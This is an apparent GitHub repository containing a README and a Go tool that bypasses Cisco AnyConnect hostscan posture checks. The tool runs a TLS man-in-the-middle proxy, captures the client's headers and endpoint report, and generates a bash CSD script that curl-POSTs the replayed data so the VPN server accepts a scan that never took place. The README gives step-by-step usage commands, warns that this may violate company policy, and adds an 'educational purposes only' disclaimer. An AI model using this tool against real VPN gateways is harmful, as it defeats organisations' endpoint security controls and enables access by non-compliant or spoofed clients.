├── README.md └── hostscan-bypass.go /README.md: -------------------------------------------------------------------------------- 1 | # Hostscan Bypass 2 | Generate an OpenConnect Cisco Secure Desktop [(CSD)](http://www.infradead.org/openconnect/csd.html) file that bypasses AnyConnect hostscan requirements. 3 | 4 | This script parses an AnyConnect client connection and outputs a CSD file that can be used with OpenConnect. The CSD file will perform a POST request to the AnyConnect server, giving the illusion a hostscan took place. Even if the AnyConnect server does not publish binaries for your Operating System (OS), you will still be able to connect. This is due to the fact that OpenConnect allows you to specify which OS you are connecting from. This means you can be on a Linux box and pretend to be a Windows client! 5 | 6 | **WARNING:** Doing this will bypass the checks hostscan performs. This may be against your company's policy. By using this script and the resulting CSD file, you are using these files at your own risk. This script is for educational purposes only. 7 | 8 | # Using MacOS with the Hostscan Bypass 9 | The hostscan bypass was originally coded and tested against a Windows machine running AnyConnect. I do not personally have the resources to troubleshoot issues on MacOS. However, [@cjbirk](https://github.com/cjbirk) did a bit of troubleshooting and successfully generated a CSD file using the bypass on MacOS. Please see [this issue](https://github.com/Gilks/hostscan-bypass/issues/4#issuecomment-461288105) for suggestions on troubleshooting any mac related issues. 10 | 11 | # Blog 12 | You can find the associated blog for this tool [here](https://gilks.github.io/post/cisco-hostscan-bypass). 13 | 14 | # Quick Start 15 | Note: You will need to install go. That process won't be covered here. 16 | 17 | 1. `sudo go run hostscan-bypass.go -l -p 443 -r :443 -s` 18 | 2. Use AnyConnect and connect to `` 19 | 3. Wait. You do not need to enter in any credentials for hostscan to start. By default, the CSD file will be named `hostscan-bypass.sh`. 20 | 4. Make the CSD file executable (otherwise OpenConnect can't use it): `chmod +x hostscan-bypass.sh` 21 | 5. Finally, connect: `sudo openconnect --csd-wrapper=hostscan-bypass.sh --os=win` 22 | 23 | # Shout Outs 24 | 1. `hostscan-bypass.go` was hacked off of [tcpprox](https://github.com/staaldraad/tcpprox). Thanks [@staaldraad](https://github.com/staaldraad)! 25 | 2. Fromzy, who posted the most [simple CSD](http://lists.infradead.org/pipermail/openconnect-devel/2015-January/002544.html) example 26 | 3. [@bmaddy](https://github.com/bmaddy), who [posted examples](https://gist.github.com/bmaddy/dc720f494fa4de28ffc03cc6a472e965) and resources that aided in the completion of this project 27 | 4. [@cjbirk](https://github.com/cjbirk) for taking the time to figure out how to successfully intercept AnyConnect on MacOS! 28 | -------------------------------------------------------------------------------- /hostscan-bypass.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/tls" 7 | "crypto/x509" 8 | "crypto/x509/pkix" 9 | "encoding/hex" 10 | "encoding/json" 11 | "flag" 12 | "fmt" 13 | "io" 14 | "io/ioutil" 15 | "math/big" 16 | "net" 17 | "os" 18 | "time" 19 | "log" 20 | "strings" 21 | ) 22 | 23 | type TLS struct { 24 | Country []string "GB" 25 | Org []string "hostscan" 26 | CommonName string "*.domain.com" 27 | } 28 | 29 | type Config struct { 30 | Remotehost string 31 | Localhost string 32 | Localport int 33 | TLS *TLS 34 | CertFile string "" 35 | OutputFile string 36 | ClientCertFile string 37 | ClientKeyFile string 38 | } 39 | 40 | type Hostscan struct { 41 | UserAgent string 42 | Plat string 43 | Endpoint string 44 | } 45 | 46 | var CSD_Script = `#!/bin/bash 47 | # Generated by hostscan-bypass.go 48 | # 49 | # Github repo: https://github.com/Gilks/hostscan-bypass 50 | # Blog post: https://gilks.github.io/post/cisco-hostscan-bypass 51 | # 52 | # You can find a list of hostscan requirements here: 53 | # https:///CACHE/sdesktop/data.xml 54 | 55 | function run_curl 56 | { 57 | curl \ 58 | --insecure \ 59 | --user-agent "$useragent" \ 60 | --header "X-Transcend-Version: 1" \ 61 | --header "X-Aggregate-Auth: 1" \ 62 | --header "X-AnyConnect-Platform: $plat" \ 63 | --cookie "sdesktop=$token" \ 64 | "$@" 65 | } 66 | 67 | set -e 68 | 69 | host=https://$CSD_HOSTNAME 70 | plat="" 71 | useragent="" 72 | token=$CSD_TOKEN 73 | 74 | run_curl --data-binary @- "$host/+CSCOE+/sdesktop/scan.xml?reusebrowser=1" <<-END 75 | 76 | END 77 | 78 | exit 0 79 | ` 80 | 81 | var config Config 82 | var ids = 0 83 | 84 | func genCert() ([]byte, *rsa.PrivateKey) { 85 | ca := &x509.Certificate{ 86 | SerialNumber: big.NewInt(1653), 87 | Subject: pkix.Name{ 88 | Country: config.TLS.Country, 89 | Organization: config.TLS.Org, 90 | CommonName: config.TLS.CommonName, 91 | }, 92 | NotBefore: time.Now(), 93 | NotAfter: time.Now().AddDate(10, 0, 0), 94 | SubjectKeyId: []byte{1, 2, 3, 4, 5}, 95 | BasicConstraintsValid: true, 96 | IsCA: true, 97 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, 98 | KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, 99 | } 100 | 101 | priv, _ := rsa.GenerateKey(rand.Reader, 1024) 102 | pub := &priv.PublicKey 103 | ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv) 104 | if err != nil { 105 | fmt.Println("create ca failed", err) 106 | } 107 | return ca_b, priv 108 | } 109 | 110 | func handleServerMessage(connR, connC net.Conn, id int) { 111 | for { 112 | data := make([]byte, 2048) 113 | n, err := connR.Read(data) 114 | if n > 0 { 115 | connC.Write(data[:n]) 116 | //fmt.Printf("From Server [%d]:\n%s\n", id, hex.Dump(data[:n])) 117 | //fmt.Printf("From Server:\n%s\n",hex.EncodeToString(data[:n])) 118 | } 119 | if err != nil && err != io.EOF { 120 | fmt.Println(err) 121 | break 122 | } 123 | } 124 | } 125 | 126 | func handleConnection(conn net.Conn, isTLS bool, hostscan Hostscan) { 127 | var err error 128 | var connR net.Conn 129 | 130 | if isTLS == true { 131 | var conf tls.Config 132 | if config.ClientCertFile != "" { 133 | cert, err := tls.LoadX509KeyPair(config.ClientCertFile, config.ClientKeyFile) 134 | if err != nil { 135 | fmt.Println(err) 136 | return 137 | } 138 | conf = tls.Config{InsecureSkipVerify: true, Certificates: []tls.Certificate{cert}} 139 | } else { 140 | conf = tls.Config{InsecureSkipVerify: true} 141 | } 142 | connR, err = tls.Dial("tcp", config.Remotehost, &conf) 143 | } else { 144 | connR, err = net.Dial("tcp", config.Remotehost) 145 | } 146 | 147 | if err != nil { 148 | fmt.Println(err) 149 | return 150 | } 151 | 152 | fmt.Printf("[*][%d] Connected to server: %s\n", ids, connR.RemoteAddr()) 153 | id := ids 154 | ids++ 155 | go handleServerMessage(connR, conn, id) 156 | for { 157 | data := make([]byte, 2048) 158 | n, err := conn.Read(data) 159 | if n > 0 { 160 | fmt.Printf("From Client [%d]:\n%s\n", id, hex.Dump(data[:n])) 161 | //fmt.Printf("From Client:\n%s\n",hex.EncodeToString(data[:n])) 162 | 163 | var StrResp = hex.EncodeToString(data[:n]) 164 | decoded, err := hex.DecodeString(StrResp) 165 | if err != nil { 166 | log.Fatal(err) 167 | } 168 | 169 | //fmt.Printf("%s\n", decoded) 170 | var ClientReq = string(decoded) 171 | if strings.Contains(ClientReq, "endpoint") { 172 | hostscan.Endpoint += ClientReq 173 | } 174 | 175 | if strings.Contains(ClientReq, "User-Agent:") && strings.Contains(ClientReq, "X-AnyConnect-Platform:") { 176 | //fmt.Print(ClientReq) 177 | headers := strings.Split(ClientReq, "\r\n") 178 | 179 | for i := range headers { 180 | if strings.Contains(headers[i], "User-Agent:") { 181 | hostscan.UserAgent = strings.Split(headers[i],": ")[1] 182 | CSD_Script = strings.Replace(CSD_Script, "", hostscan.UserAgent, 1) 183 | } 184 | if strings.Contains(headers[i], "X-AnyConnect-Platform:") { 185 | hostscan.Plat = strings.Split(headers[i],": ")[1] 186 | CSD_Script = strings.Replace(CSD_Script, "", hostscan.Plat, 1) 187 | } 188 | } 189 | } 190 | connR.Write(data[:n]) 191 | _ = hex.Dump(data[:n]) 192 | } 193 | if err != nil && err == io.EOF { 194 | if hostscan.Endpoint != "" { 195 | CSD_Script = strings.Replace(CSD_Script, "", hostscan.Endpoint, 1) 196 | script, err := os.Create(config.OutputFile) 197 | if err != nil { 198 | panic(err) 199 | } 200 | fmt.Fprintf(script, CSD_Script) 201 | script.Close() 202 | fmt.Print("\n[+] Successfully created CSD to bypass hostscan!\n") 203 | fmt.Printf("[+] Output File: %s\n", config.OutputFile) 204 | os.Exit(0) 205 | } 206 | fmt.Println(err) 207 | break 208 | } 209 | } 210 | connR.Close() 211 | conn.Close() 212 | } 213 | 214 | func startListener(isTLS bool) { 215 | 216 | var err error 217 | var conn net.Listener 218 | var cert tls.Certificate 219 | var hostscan = Hostscan{} 220 | 221 | if isTLS == true { 222 | if config.CertFile != "" { 223 | cert, _ = tls.LoadX509KeyPair(fmt.Sprint(config.CertFile, ".pem"), fmt.Sprint(config.CertFile, ".key")) 224 | } else { 225 | ca_b, priv := genCert() 226 | cert = tls.Certificate{ 227 | Certificate: [][]byte{ca_b}, 228 | PrivateKey: priv, 229 | } 230 | } 231 | 232 | conf := tls.Config{ 233 | Certificates: []tls.Certificate{cert}, 234 | } 235 | conf.Rand = rand.Reader 236 | 237 | conn, err = tls.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport), &conf) 238 | 239 | } else { 240 | conn, err = net.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport)) 241 | } 242 | 243 | if err != nil { 244 | panic("failed to connect: " + err.Error()) 245 | } 246 | 247 | fmt.Println("[*] Listening for AnyConnect client connection..") 248 | 249 | for { 250 | cl, err := conn.Accept() 251 | if err != nil { 252 | fmt.Printf("server: accept: %s", err) 253 | break 254 | } 255 | fmt.Printf("[*] Accepted from: %s\n", cl.RemoteAddr()) 256 | go handleConnection(cl, isTLS, hostscan) 257 | } 258 | conn.Close() 259 | } 260 | 261 | func setConfig(configFile string, localPort int, localHost, remoteHost string, certFile string, outputFile string, clientCertFile string, clientKeyFile string) { 262 | if configFile != "" { 263 | data, err := ioutil.ReadFile(configFile) 264 | if err != nil { 265 | fmt.Println("[-] Not a valid config file: ", err) 266 | os.Exit(1) 267 | } 268 | err = json.Unmarshal(data, &config) 269 | if err != nil { 270 | fmt.Println("[-] Not a valid config file: ", err) 271 | os.Exit(1) 272 | } 273 | } else { 274 | config = Config{TLS: &TLS{}} 275 | } 276 | 277 | if certFile != "" { 278 | config.CertFile = certFile 279 | } 280 | 281 | if localPort != 0 { 282 | config.Localport = localPort 283 | } 284 | if localHost != "" { 285 | config.Localhost = localHost 286 | } 287 | if remoteHost != "" { 288 | config.Remotehost = remoteHost 289 | } 290 | if outputFile == "" { 291 | config.OutputFile = "hostscan-bypass.sh" 292 | } else if strings.HasSuffix(outputFile, ".sh") { 293 | config.OutputFile = outputFile 294 | } else { 295 | config.OutputFile = outputFile + ".sh" 296 | } 297 | if clientCertFile != "" { 298 | config.ClientCertFile = clientCertFile 299 | if clientKeyFile != "" { 300 | config.ClientKeyFile = clientKeyFile 301 | } else { 302 | config.ClientKeyFile = clientCertFile 303 | } 304 | } 305 | 306 | } 307 | 308 | func main() { 309 | localPort := flag.Int("p", 0, "Local Port to listen on") 310 | localHost := flag.String("l", "", "Local address to listen on") 311 | remoteHostPtr := flag.String("r", "", "Remote Server address host:port") 312 | configPtr := flag.String("c", "", "Use a config file (set TLS ect) - Commandline params overwrite config file") 313 | tlsPtr := flag.Bool("s", false, "Create a TLS Proxy") 314 | certFilePtr := flag.String("cert", "", "Use a specific certificate file") 315 | outputFile := flag.String("o", "", "Output name for CSD hostscan bypass") 316 | clientCertFilePtr := flag.String("client-cert", "", "Read client certificate from file.") 317 | clientKeyFilePtr := flag.String("client-key", "", "Read client key from file. If only client-cert is given, the key and cert will be read from the same file.") 318 | 319 | flag.Parse() 320 | 321 | setConfig(*configPtr, *localPort, *localHost, *remoteHostPtr, *certFilePtr, *outputFile, *clientCertFilePtr, *clientKeyFilePtr) 322 | 323 | if config.Remotehost == "" { 324 | fmt.Println("[-] Remote host required") 325 | flag.PrintDefaults() 326 | os.Exit(1) 327 | } 328 | 329 | startListener(*tlsPtr) 330 | } 331 | --------------------------------------------------------------------------------